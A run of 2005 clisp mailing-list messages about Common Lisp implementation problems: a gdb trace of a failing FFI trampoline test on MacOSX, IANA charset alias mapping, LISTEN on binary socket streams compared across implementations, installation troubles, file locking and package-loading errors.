0x100174:       .long 0x0
0x100178:       .long 0x0
0x10017c:       .long 0x0
0x100180:       .long 0x0
(gdb) print cf
No symbol "cf" in current context.
(gdb) up
#1  0x00002a2c in main () at /local/src/clisp/clisp-2.35/ffcall/callback/trampoline_r/test1.c:94
94        if ((*cf)(MAGIC4) == MAGIC1+MAGIC2+MAGIC3+MAGIC4)
(gdb) print cf
$1 = 0x100144
(gdb) down
#0  0x00100144 in ?? ()
(gdb) info reg
r0             0x2a14     10772
r1             0xbfffec70       3221220464
r2             0x100164 1048932
r3             0xa2f9d045       2734280773
r4             0x0      0
r5             0x7      7
r6             0x7      7
r7             0x5      5
r8             0x202006 2105350
r9             0x7c0903a6       2080965542
r10            0x0      0
r11            0x90161b44       2417367876
r12            0x100144 1048900
r13            0x0      0
r14            0x0      0
r15            0x0      0
r16            0x0      0
r17            0x0      0
r18            0x0      0
r19            0x0      0
r20            0x0      0
r21            0x0      0
r22            0x0      0
r23            0x0      0
r24            0x0      0
r25            0x0      0
r26            0xbfffed7c       3221220732
r27            0x8      8
r28            0x1      1
r29            0xbfffed80       3221220736
r30            0x100144 1048900
r31            0x29e8   10728
pc             0x100144 1048900
ps             0x8f030  585776
cr             0x22000242       570425922
lr             0x2a2c   10796
ctr            0x100144 1048900
xer            0xc      12
mq             0x0      0
fpscr          0x82024000       2181185536
vscr           0x0      0
vrsave         0x0      0
(gdb) list
89        
90      int main ()
91      {
92        function cf = alloc_trampoline_r((function)&f, (void*)MAGIC1, (void*)MAGIC2);
93      #ifdef __GNUC__
94        if ((*cf)(MAGIC4) == MAGIC1+MAGIC2+MAGIC3+MAGIC4)
95      #else
96        if ((*cf)(MAGIC4) == MAGIC3+MAGIC4)
97      #endif
98          { free_trampoline_r(cf); printf("Works, test1 passed.\n"); exit(0); }
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 07:20:46 +0200]:
>
> I don't know if it's supposed to work or not on MacOSX 10.3.9 with a
> ppc750 processor, but it doesn't (therefore FFI isn't built into
> clisp-2.35 on MacOSX).

clisp built on
Darwin ppc-osx2.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15:
20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC  Power Macintosh powerpc
(the binary is in the SF files section)
includes FFI.

I don't know how "MacOSX 10.3.9" relates to "Darwin Kernel Version 6.8".

I do know that clisp has problems on "mac os x/power5", see
<https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=166347>

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WARNING: One IANA character sets maps to more than one clisp CHARSET:
          ("GBK" "windows-936" "MS936" "CP936")
         --> (CHARSET:GBK CHARSET:CP936)

(at least in clisp-2.35)

IANA considers these names to be aliases for a single character set.
clisp distinguishes (apparently) two of them.


Name: GBK                                                 
MIBenum: 113
Source: Chinese IT Standardization Technical Committee  
        Please see: <http://www.iana.org/assignments/charset-reg/GBK>
Alias: CP936
Alias: MS936
Alias: windows-936


(equalp CHARSET:GBK CHARSET:CP936) --> NIL


;;---------------------------------------------------------------------------

(defparameter +charset-path+ "iana-character-sets.data")
(ext:shell  (format nil
              "wget http://www.iana.org/assignments/character-sets -O ~A"
              +charset-path+))
(defparameter *charset-map* nil)


(defun second-word (line)
  (let* ((space  (position (character " ") line))
         (start  (position (character " ") line
                           :start space
                           :test  (complement (function eql))))
         (end    (position (character " ") line :start start)))
    (subseq line start end)))


(DEFUN PREFIX-P (STRING PREFIX)
  "
RETURN:  Whether PREFIX is a prefix of the STRING.
"
  (AND (<= (LENGTH PREFIX) (LENGTH STRING))
       (STRING= STRING PREFIX :END1 (LENGTH PREFIX))));;PREFIX-P


(defun read-character-sets (path)
  (with-open-file (in path)
    (loop
       for line = (read-line in nil nil)
       with name = nil
       with aliases = '()
       with results = '()
       while line
       do ;; scan Name: and Alias: ; generate on empty line
       (cond
         ((prefix-p line "Name: ")  (setf name (second-word line)))
         ((prefix-p line "Alias: ")
          (let ((alias (second-word line)))
            (unless (string-equal "None" alias) (push alias aliases))))
         ((zerop (length (string-trim " " line)))
          (when name (push  (cons name aliases) results))
          (setf name nil aliases '())))
       finally (return results))))


(defun charset-map ()
  (or *charset-map*
      (progn
        (setf *charset-map* (make-hash-table :test (function equalp)))
        (dolist (cs (read-character-sets +charset-path+))
          (let ((charsets (delete-duplicates
                           (mapcan (lambda (name)
                                     (let ((charset (find-symbol name :charset)))
                                       (when charset (list charset))))
                                   cs))))
            (when charsets
              (when (cdr charsets)
                  (warn "One IANA character sets maps to more than one ~
                         clisp CHARSET: ~S --> ~S" cs charsets))
              (dolist (name cs)
                (setf (gethash name *charset-map*) (first charsets))))))
        *charset-map*)))

(charset-map)


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Date: Wed Aug 31 10:14:10 2005
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While the CLHS description of LISTEN use the term character, it
doesn't specify a character input stream, just a mere input stream.
Since most internet protocols have a binary specification (despite the
fact that ASCII encoding is often used for meta data), I'd suggest too
implement LISTEN to work on binary streams too.



[435]> (setf s (socket:socket-connect 110 "larissa" :element-type '(unsigned-byte 8)))
#<IO INPUT-BUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) larissa:110>
[436]> (loop while (/= 10 (princ (read-byte s))) do (princ " ") (princ (listen s)) (princ " "))
43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 51 NIL 49 NIL 57 NIL 48 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 48 NIL 56 NIL 49 NIL 48 NIL 53 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10
NIL
[437]> (close s)
T
[438]>  (setf s (socket:socket-connect 110 "larissa"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER larissa:110>
[439]> (listen s)
T
[440]> (read-line s)
"+OK ready  <13215.1125508132@larissa.informatimago.com>" ;
NIL
[441]> (listen s)
NIL
[442]> (close s)
T
[443]> 




Break 1 [422]> remote
#<IO UNBUFFERED SOCKET-STREAM (UNSIGNED-BYTE 8) 62.93.174.78:113>
Break 1 [422]> (listen remote)
NIL
Break 1 [422]> (socket:socket-status remote)
:IO ;
1
Break 1 [422]> (listen remote)
NIL
Break 1 [422]> (read-byte remote)
50
Break 1 [422]> (listen remote)
NIL
Break 1 [422]> (read-byte remote)
50
Break 1 [422]> (listen remote)
NIL
Break 1 [422]> (read-byte remote)
44
Break 1 [422]> (socket:socket-status remote)
:IO ;
1
Break 1 [422]> (read-byte remote)
32
Break 1 [422]> (print-bug-report-info)


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 19:13:30 +0200]:
>
> While the CLHS description of LISTEN use the term character, it
> doesn't specify a character input stream, just a mere input stream.
> Since most internet protocols have a binary specification (despite the
> fact that ASCII encoding is often used for meta data), I'd suggest too
> implement LISTEN to work on binary streams too.

this would require just a trivial change.
the only question is:
will the change be really ANSI-compliant.
please investigate what the other implementation do (after all, the
standard expresses the vendor consensus), and raise the issue on the
c.l.l.


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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 07:20:46 +0200]:
> >
> > I don't know if it's supposed to work or not on MacOSX 10.3.9 with a
> > ppc750 processor, but it doesn't (therefore FFI isn't built into
> > clisp-2.35 on MacOSX).
> 
> clisp built on
> Darwin ppc-osx2.cf.sourceforge.net 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15:
> 20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC  Power Macintosh powerpc
> (the binary is in the SF files section)
> includes FFI.
> 
> I don't know how "MacOSX 10.3.9" relates to "Darwin Kernel Version 6.8".

It relates badly: MacOSX 10.3.9 runs on Darwin 7.9.0.

[pjb@triton pjb]$ hostinfo
Mach kernel version:
         Darwin Kernel Version 7.9.0:
Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC


Kernel configured for a single processor only.
1 processor is physically available.
Processor type: ppc750 (PowerPC 750)
Processor active: 0
Primary memory available: 640.00 megabytes.
Default processor set: 52 tasks, 119 threads, 1 processors
Load average: 0.00, Mach factor: 0.99

IIRC, Darwin 6.8 correspond to a MacOSX 10.2.something.

 
> I do know that clisp has problems on "mac os x/power5", see
> <https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=166347>

Well, at least I've never seen clisp _crash_ on my iBook.  configure
takes care to avoid trampoline_r :-)

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Hello,

I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed 
the instructions in the ../unix/INSTALL file to install it onto Linux 
(Fedora core 2).  The installation appeared to proceed correctly.  
However, when I run "clisp" from a shell prompt, I get this error:

    clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory

I installed clisp into the ~/local directory, and the file lisp.run is 
visible in the directory ~/local/lib/clisp/base/lisp.run.  Does anyone 
know what the problem is?  Thanks.

Regards,
David A. Ventimiglia


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David A. Ventimiglia writes:
> Hello,
> 
> I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed 
clisp-2.35
version 2.3 was long ago.

> the instructions in the ../unix/INSTALL file to install it onto Linux 
> (Fedora core 2).  The installation appeared to proceed correctly.  
> However, when I run "clisp" from a shell prompt, I get this error:
> 
>     clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory
> 
> I installed clisp into the ~/local directory, and the file lisp.run is 
> visible in the directory ~/local/lib/clisp/base/lisp.run.  Does anyone 
> know what the problem is?  Thanks.

Use:

cd clisp-2.35
./configure --prefix=$HOME/local --build /tmp/clisp-build --install

then:

$HOME/local/bin/clisp

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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 19:13:30 +0200]:
> >
> > While the CLHS description of LISTEN use the term character, it
> > doesn't specify a character input stream, just a mere input stream.
> > Since most internet protocols have a binary specification (despite the
> > fact that ASCII encoding is often used for meta data), I'd suggest too
> > implement LISTEN to work on binary streams too.
> 
> this would require just a trivial change.
> the only question is:
> will the change be really ANSI-compliant.
> please investigate what the other implementation do (after all, the
> standard expresses the vendor consensus), and raise the issue on the
> c.l.l.


clisp    no   2.35   either either
cmucl    yes  18e    Linux  ix86
gcl      no   2.6.7  Linux  ix86  ; it seems we can't specify the element type.
ecl      yes  0.9g   Linux  ix86
openmcl  yes  0.14.3 MacOSX ppc
sbcl     yes  0.9.0  Linux  ix86


There seems to be a concensus toward LISTEN working on binary streams.


------------------------------------------------------------------------
clisp: listen doesn't work on binary socket streams:

(let ((s (socket:socket-connect 110 "larissa" :element-type '(unsigned-byte 8))))
  (unwind-protect
       (loop while (/= 10 (princ (read-byte s)))
          do (princ " ") (princ (listen s)) (princ " "))
    (close s)))

43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 53 NIL 48 NIL 57 NIL 57 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 49 NIL 56 NIL 48 NIL 56 NIL 52 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10
NIL




------------------------------------------------------------------------
cmucl: listen works on binary socket streams:

* (let* ((sock (ext:connect-to-inet-socket "larissa" 110))
       (s (system:make-fd-stream sock :input t :output t
                                 :element-type '(unsigned-byte 8)
                                 :buffering :none)))
  (unwind-protect
       (loop while (/= 10 (princ (read-byte s)))
          do (princ " ") (princ (listen s)) (princ " "))
    (close s)))
43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 49 T 51 T 51 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 56 T 51 T 48 T 50 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10
NIL
* 

------------------------------------------------------------------------
gcl: listen doesn't work on binary socket streams:

>(let ((s (system:SOCKET 110 :host "larissa" :async nil)))
  (unwind-protect
       (loop while (/= 10 (princ (read-byte s)))
          do (princ " ") (princ (listen s)) (princ " "))
    (close s)))
43 NIL 79 NIL 75 NIL 32 NIL 114 NIL 101 NIL 97 NIL 100 NIL 121 NIL 32 NIL 32 NIL 60 NIL 49 NIL 55 NIL 54 NIL 48 NIL 50 NIL 46 NIL 49 NIL 49 NIL 50 NIL 53 NIL 53 NIL 50 NIL 54 NIL 54 NIL 56 NIL 51 NIL 64 NIL 108 NIL 97 NIL 114 NIL 105 NIL 115 NIL 115 NIL 97 NIL 46 NIL 105 NIL 110 NIL 102 NIL 111 NIL 114 NIL 109 NIL 97 NIL 116 NIL 105 NIL 109 NIL 97 NIL 103 NIL 111 NIL 46 NIL 99 NIL 111 NIL 109 NIL 62 NIL 13 NIL 10
NIL


------------------------------------------------------------------------
ecl: listen works on binary socket streams:

> (list-all-packages)
(#<"SB-BSD-SOCKETS" package> #<"WALKER" package> #<"FFI" package>
 #<"CLOS" package> #<"SI" package> #<"KEYWORD" package>
 #<"COMMON-LISP-USER" package> #<"COMMON-LISP" package>)
> (let ((sock (make-instance 'sb-bsd-sockets:inet-socket
              :type :stream
              :protocol :tcp)))
  (sb-bsd-sockets:socket-bind sock #(0 0 0 0) 0)
  (sb-bsd-sockets:socket-connect  sock #(62 93 174 78) 110)
  (let ((s (sb-bsd-sockets:socket-make-stream
            sock :element-type '(unsigned-byte 8))))
  (unwind-protect
       (loop while (/= 10 (princ (read-byte s)))
          do (princ " ") (princ (listen s)) (princ " "))
    (close s))))
43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 55 T 53 T 49 T 49 T 46 T 49 T 49 T 50 T 53 T 53 T 50 T 54 T 51 T 55 T 51 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10
NIL
> (lisp-implementation-type)
"ECL"
> 
------------------------------------------------------------------------
openmcl: listen works on binary socket streams:

> (openmcl-socket:with-open-socket (s
                                  :format :binary
                                  :remote-host "larissa"
                                  :remote-port 110)
  (openmcl-socket:socket-connect s)
  (loop while (/= 10 (princ (read-byte s)))
     do (princ " ") (princ (listen s)) (princ " ")))
  
43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 52 T 48 T 57 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 57 T 55 T 50 T 49 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10
NIL
> 


------------------------------------------------------------------------
sbcl: listen works on binary socket streams:

(let ((sock (make-instance 'sb-bsd-sockets:inet-socket
              :type :stream
              :protocol :tcp)))
  (sb-bsd-sockets:socket-bind sock #(0 0 0 0) 0)
  (sb-bsd-sockets:socket-connect  sock #(62 93 174 78) 110)
  (let ((s (sb-bsd-sockets:socket-make-stream
            sock :element-type '(unsigned-byte 8))))
  (unwind-protect
       (loop while (/= 10 (princ (read-byte s)))
          do (princ " ") (princ (listen s)) (princ " "))
    (close s))))
43 T 79 T 75 T 32 T 114 T 101 T 97 T 100 T 121 T 32 T 32 T 60 T 49 T 53 T 48 T 56 T 54 T 46 T 49 T 49 T 50 T 53 T 53 T 49 T 56 T 48 T 48 T 53 T 64 T 108 T 97 T 114 T 105 T 115 T 115 T 97 T 46 T 105 T 110 T 102 T 111 T 114 T 109 T 97 T 116 T 105 T 109 T 97 T 103 T 111 T 46 T 99 T 111 T 109 T 62 T 13 T 10
NIL



------------------------------------------------------------------------

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> * David A. Ventimiglia <iragvzvt@zfh.rqh> [2005-08-31 17:22:22 -0400]:
>
> I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed
> the instructions in the ../unix/INSTALL file to install it onto Linux
> (Fedora core 2).

yum install clisp

(fedora extra)

>     clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory

"~" is shell-specific.
use --prefix="$HOME".

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>>* David A. Ventimiglia <iragvzvt@zfh.rqh> [2005-08-31 17:22:22 -0400]:
>>
>>I downloaded the source version of clisp-2.3.5 on 8/31/05 and followed
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>>
>
>yum install clisp
>
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>
>  
>
>>    clisp: ~/local/lib/clisp/base/lisp.run: No such file or directory
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>  
>
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LISTEN takes binary files and should take sockets too.
It would be awful to define LISTEN-BYTE merely
because ANSI verbiage sometimes conflates
character and interactive streams,
which are underspecified
precisely so we may
work this out.

CMU Common Lisp 18c, ...
* (listen (open "/dev/tty"))
NIL
* (listen (open "/dev/tty" :element-type 'unsigned-byte))
NIL
* (listen (open "." :element-type 'unsigned-byte))
T
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2005-08-31 19:13:30 +0200]:
>
> While the CLHS description of LISTEN use the term character, it
> doesn't specify a character input stream, just a mere input stream.
> Since most internet protocols have a binary specification (despite the
> fact that ASCII encoding is often used for meta data), I'd suggest too
> implement LISTEN to work on binary streams too.

this would require just a trivial change.
the only question is:
will the change be really ANSI-compliant.
please investigate what the other implementation do (after all, the
standard expresses the vendor consensus), and raise the issue on the
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On Tue, 2005-08-02 at 11:20 +0200, Hoehle, Joerg-Cyril wrote:
> However, it does not correctly restore the original state when used
> with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit,
> whereas they might have been unset/unbound before.

Is there a way to find out whether a place, in general, is set or unset?

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Thanks for all information.
I follow this instruction.......

But, I still have a problem, like this....:

[1]> (load (compile-file
"/home/potter/download/pg-0.19/defpackage.lisp"))

Compiling file
/home/potter/download/pg-0.19/defpackage.lisp ...

Wrote file
/home/potter/download/pg-0.19/defpackage.fas
0 errors, 0 warnings
;; Loading file
/home/potter/download/pg-0.19/defpackage.fas ...
;; Loaded file
/home/potter/download/pg-0.19/defpackage.fas
T
[2]> (load (compile-file
"/home/potter/download/pg-0.19/sysdep.lisp"))

Compiling file
/home/potter/download/pg-0.19/sysdep.lisp ...

Wrote file /home/potter/download/pg-0.19/sysdep.fas
0 errors, 0 warnings
;; Loading file
/home/potter/download/pg-0.19/sysdep.fas ...
;; Loaded file
/home/potter/download/pg-0.19/sysdep.fas
T
[3]> (load (compile-file
"/home/potter/download/pg-0.19/pg.lisp"))

Compiling file /home/potter/download/pg-0.19/pg.lisp
...

Wrote file /home/potter/download/pg-0.19/pg.fas
0 errors, 0 warnings
;; Loading file /home/potter/download/pg-0.19/pg.fas
...
;; Loaded file /home/potter/download/pg-0.19/pg.fas
T
[4]> (load (compile-file "/root/LISP/sample1.lisp"))

Compiling file /root/LISP/sample1.lisp ...
WARNING in (WITH-PG-CONNECTION (CONN "table" "kania"
...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines
8..14 :
CONN is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
WARNING in (WITH-PG-CONNECTION (CONN "table" "kania"
...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines
8..14 :
CONN is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
WARNING in (WITH-PG-CONNECTION (CONN "table" "kania"
...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines
8..14 :
CONN is neither declared nor bound,
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WARNING in (WITH-PG-CONNECTION (CONN "table" "kania"
...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines
8..14 :
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The following functions were used but not defined:
 WITH-PG-CONNECTION CONN WITH-PG-TRANSACTION PG-TABLES
PG-EXEC
The following special variables were not defined:
 CONN
0 errors, 4 warnings
;; Loading file /root/LISP/sample1.fas ...
** - Continuable Error
4 name conflicts while executing USE-PACKAGE of
(#<PACKAGE POSTGRESQL>) into package #<PACKAGE
COMMON-LISP-USER>.
If you continue (by typing 'continue'): You may choose
for every conflict in favour of which symbol to
resolve it.
Break 1 [5]>

Where Iam wrong???

Did we have to config pg-0.19 before load it?? If yes,
plase tell me where the conflict did???

Thanks for the answer.
 
regards,
 
 kania

> 
> 
> --- Pascal Bourguignon <pjb@informatimago.com>
> wrote:
> 
> > Kania Potter writes:
> > > Thanks for u'r information Mr. Jörg Höhle. But I
> > still
> > > have a problem. I try to load again my program,
> > but
> > > the same error message "PG" didn't recognize.
> I've
> > > done extract  pg-dot-lisp-0.19.tgz, and try to
> > load an
> > > example code (pg-tests.lisp). But,
> unfortunately,
> > "PG"
> > > didn't recognize :(
> > > Iam really confused. Please help me.
> > > 
> > > thanks for the answer
> > 
> > (load (compile-file "defpackage.lisp"))
> > (load (compile-file "sysdep.lisp"))
> > (load (compile-file "pg.lisp"))
> > 
> > ;; or just: (load "defpackage.lisp") (load
> > "sysdep.lisp") (load "pg.lisp") 
> > ;; or just: (asdf:operate 'asdf:load-op :pg)
> > 
> > ;; then:
> > (use-package "POSTGRESQL")
> > (with-pg-connection (conn ...)
> >    (with-pg-transaction conn
> >         (pg-exec "DROP TABLE test_date"))


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> * Stephen Compall <f11@zrzore.sfs.bet> [2005-08-31 18:14:28 -0500]:
>
> On Tue, 2005-08-02 at 11:20 +0200, Hoehle, Joerg-Cyril wrote:
>> However, it does not correctly restore the original state when used
>> with GETHASH or SYMBOL-VALUE. Both places are set to NIL at exit,
>> whereas they might have been unset/unbound before.

same probably holds for unbound slots of a CLOS instance.
(except that one may get an error there...)

> Is there a way to find out whether a place, in general, is set or unset?

no.

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[sorry if this is duplicated. the first post didn't seem to
get through.]

Hello,

I am trying to figure out how to use posix:stream-lock .

> (defparameter *lock* (open "lock" :direction :output))
*LOCK*
> *lock*
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"lock">
> (posix:stream-lock *lock* t :shared nil :block nil)
T
> (posix:stream-lock *lock* t :shared nil :block nil)
T
> (close *lock*)

I expected the second call to stream-lock singal error but it
did not. What am I missing?

Thanks




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Hello,

I cannot figure out how to use posix:stream-lock .

> (defparameter *lock* (open "lock" :direction :output))
*LOCK*
> *lock*
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"lock">
> (posix:stream-lock *lock* t :shared nil :block nil)
T
> (posix:stream-lock *lock* t :shared nil :block nil)
T
> (close *lock*)

I expected the second call to stream-lock singals error but it
did not. What am I missing?

Thanks




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> * Kania Potter <xnavn_cbggre@lnubb.pbz> [2005-09-01 02:20:29 -0700]:
>
> [4]> (load (compile-file "/root/LISP/sample1.lisp"))
>
> Compiling file /root/LISP/sample1.lisp ...
> WARNING in (WITH-PG-CONNECTION (CONN "table" "kania"
> ...) (WITH-PG-TRANSACTION CONN # ...))-2 in lines
> 8..14 :
> CONN is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.

this means that WITH-PG-CONNECTION you are used hear is not defined,
i.e., it is not PG:WITH-PG-CONNECTION but CL-USER::WITH-PG-CONNECTION.

> The following functions were used but not defined:
>  WITH-PG-CONNECTION CONN WITH-PG-TRANSACTION PG-TABLES
> PG-EXEC
> The following special variables were not defined:
>  CONN
> 0 errors, 4 warnings

yep, I was right.

> ;; Loading file /root/LISP/sample1.fas ...
> ** - Continuable Error
> 4 name conflicts while executing USE-PACKAGE of
> (#<PACKAGE POSTGRESQL>) into package #<PACKAGE
> COMMON-LISP-USER>.

too late. you must USE-PACKAGE _before_ using it!

> If you continue (by typing 'continue'): You may choose
> for every conflict in favour of which symbol to
> resolve it.
> Break 1 [5]>

you need to make sure that sample1.lisp has (use-package "PG") _before_
the first use of a PG macro.

> Where Iam wrong???

you are asking the wrong list.
please talk to the pg-sql maintainer.

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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-01 20:30:23 +0900]:
>
> I cannot figure out how to use posix:stream-lock .

see flock & fcntl manuals, linked from the CLISP impnotes section for
posix:stream-lock

>> (defparameter *lock* (open "lock" :direction :output))
> *LOCK*
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>> (posix:stream-lock *lock* t :shared nil :block nil)
> T
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> I expected the second call to stream-lock singals error but it did
> not. What am I missing?

your clisp process already has the lock.
if you try to lock the file from a _different_ process, you should fail.

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Sam Steingold wrote:

> see flock & fcntl manuals, linked from the CLISP impnotes section for
> posix:stream-lock
> 
> >> (defparameter *lock* (open "lock" :direction :output))
> > *LOCK*
> >> *lock*
> > #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"lock">
> >> (posix:stream-lock *lock* t :shared nil :block nil)
> > T
> >> (posix:stream-lock *lock* t :shared nil :block nil)
> > T
> >> (close *lock*)
> >
> > I expected the second call to stream-lock singals error but it did
> > not. What am I missing?
> 
> your clisp process already has the lock.
> if you try to lock the file from a _different_ process, you should fail.

I tried it from two processes with the same code, but it didn't work.
I will try flock directly. It might be the OS that's failing.

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I wrote:

> > your clisp process already has the lock.
> > if you try to lock the file from a _different_ process, you should fail.
> 
> I tried it from two processes with the same code, but it didn't work.
> I will try flock directly. It might be the OS that's failing.

OK, flock worked. I am trying to serialize access to a file in
a CGI script, nothing fancy. So I will use flock (or open) for now.




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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-02 11:30:15 +0900]:
>
> I wrote:
>
>> > your clisp process already has the lock.
>> > if you try to lock the file from a _different_ process, you should fail.
>> 
>> I tried it from two processes with the same code, but it didn't work.
>> I will try flock directly. It might be the OS that's failing.
>
> OK, flock worked. I am trying to serialize access to a file in
> a CGI script, nothing fancy. So I will use flock (or open) for now.

clisp uses fcntl, not flock, because fcntl allows locking _sections_ of
files.
could you please try fcntl also?

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Hi.

I have downloaded clisp-2.35-win32.zip. After I unzip it and run install.bat Windows says that "lisp.exe - Unable To Locate Component", "This application was failed to start because libpq.dll was not found. Re-installing the application may fix this problem"

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> * ya007 <ln007@lnaqrk.eh> [2005-09-02 20:12:00 +0400]:
>
> I have downloaded clisp-2.35-win32.zip. After I unzip it and run
> install.bat Windows says that "lisp.exe - Unable To Locate Component",
> "This application was failed to start because libpq.dll was not
> found. Re-installing the application may fix this problem"

install PostGreSQL 8 (clisp comes with an interface to PostGreSQL) or
use the base linking set (remove "-K full") from the argument list of
"clisp".


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Sam Steingold wrote:

> clisp uses fcntl, not flock, because fcntl allows locking _sections_ of
> files.
> could you please try fcntl also?

I tried it with F_WRLCK + F_SETLK/F_SETLKW and I think
it is working. but I am not sure if I did the right test.

The clisp is 2.35. I built it from source by blindingly following
the instruction. I believe it passed 'make check' test (but
the ssh connection dropped twice in the middle of the test
due to memory shortage.)

The host is a virtual private server running Linux 2.4.20 (uname
reports 'i686').

I've just started trying clisp and emacs to edit lisp code.
There is lot to cathing up. I am overwhelmed right now. 




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I am getting an error "FIND-CLASS: XXX does not name a class"
while loading a fas file.

Here's a test case:

I have two files "file-a.lisp" and "file-b.lisp":

;;; file-a.lisp:

(defun foo (obj)
  (map nil #'(lambda (item)
               (when (typep item 'bar)
                 (print 'bar)))
       (list obj)))

;;; file-b.lisp

(defclass bar () ())

;;;

Both files load and compile fine. However, when I load
file-a.fas (after restart) I frequently but not always get
an error reporting:

   "FIND-CLASS: BAR does not name a class"

The problem is not consistent. Sometimes a compiled
fas file loads fine without error until I recompile it
or just for a while. I tried (lambda ...) instead of
#'(lambda ...) and the problem seemed to go away ...
again for a while.  And sometimes I cannot reproduce the
error for a while.

Has anyone seen something like this before?

[I'm using clisp 2.35 + mk-defsystem 3.5i]

Thanks.



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Takehiko Abe writes:
> I am getting an error "FIND-CLASS: XXX does not name a class"
> while loading a fas file.
> 
> Here's a test case:
> 
> I have two files "file-a.lisp" and "file-b.lisp":
> 
> ;;; file-a.lisp:
> 
> (defun foo (obj)
>   (map nil #'(lambda (item)
>                (when (typep item 'bar)
>                  (print 'bar)))
>        (list obj)))
> 
> ;;; file-b.lisp
> 
> (defclass bar () ())
> 
> ;;;
> 
> Both files load and compile fine. However, when I load
> file-a.fas (after restart) I frequently but not always get
> an error reporting:
> 
>    "FIND-CLASS: BAR does not name a class"
> 
> The problem is not consistent. Sometimes a compiled
> fas file loads fine without error until I recompile it
> or just for a while. I tried (lambda ...) instead of
> #'(lambda ...) and the problem seemed to go away ...
> again for a while.  And sometimes I cannot reproduce the
> error for a while.

The type (class) bar is defined in file-b.  So you must always load
file-b before loading file-a.

Instead of writing (load "file-a"), write:

(load"loader")

and put:

(load "file-b")
(load "file-a")

in loader.lisp


#'(lambda ...) is a pleonasm.  Always write just: (lambda ...)

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Pascal Bourguignon wrote:

> The type (class) bar is defined in file-b.  So you must always load
> file-b before loading file-a.

But it is defined at runtime. Why should it error at load time?




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> * Takehiko Abe <xrxr@tby.pbz> [2005-09-05 15:03:15 +0900]:
>
> Pascal Bourguignon wrote:
>
>> The type (class) bar is defined in file-b.  So you must always load
>> file-b before loading file-a.
>
> But it is defined at runtime. Why should it error at load time?

defmethod requires that the specializers name existing classes

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Date: Sun Sep  4 23:46:18 2005
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Sam Steingold wrote:

> >> The type (class) bar is defined in file-b.  So you must always load
> >> file-b before loading file-a.
> >
> > But it is defined at runtime. Why should it error at load time?
> 
> defmethod requires that the specializers name existing classes
> 

Yes, but I don't define a method there.

besides, the error is rather random. The current set of fas files
loads fine. 




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Date: Sun Sep  4 23:52:17 2005
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[off-topic]

Pascal Bourguignon wrote:

> #'(lambda ...) is a pleonasm.  Always write just: (lambda ...)

Isn't it purely a style issue? If so, I think I can argue the
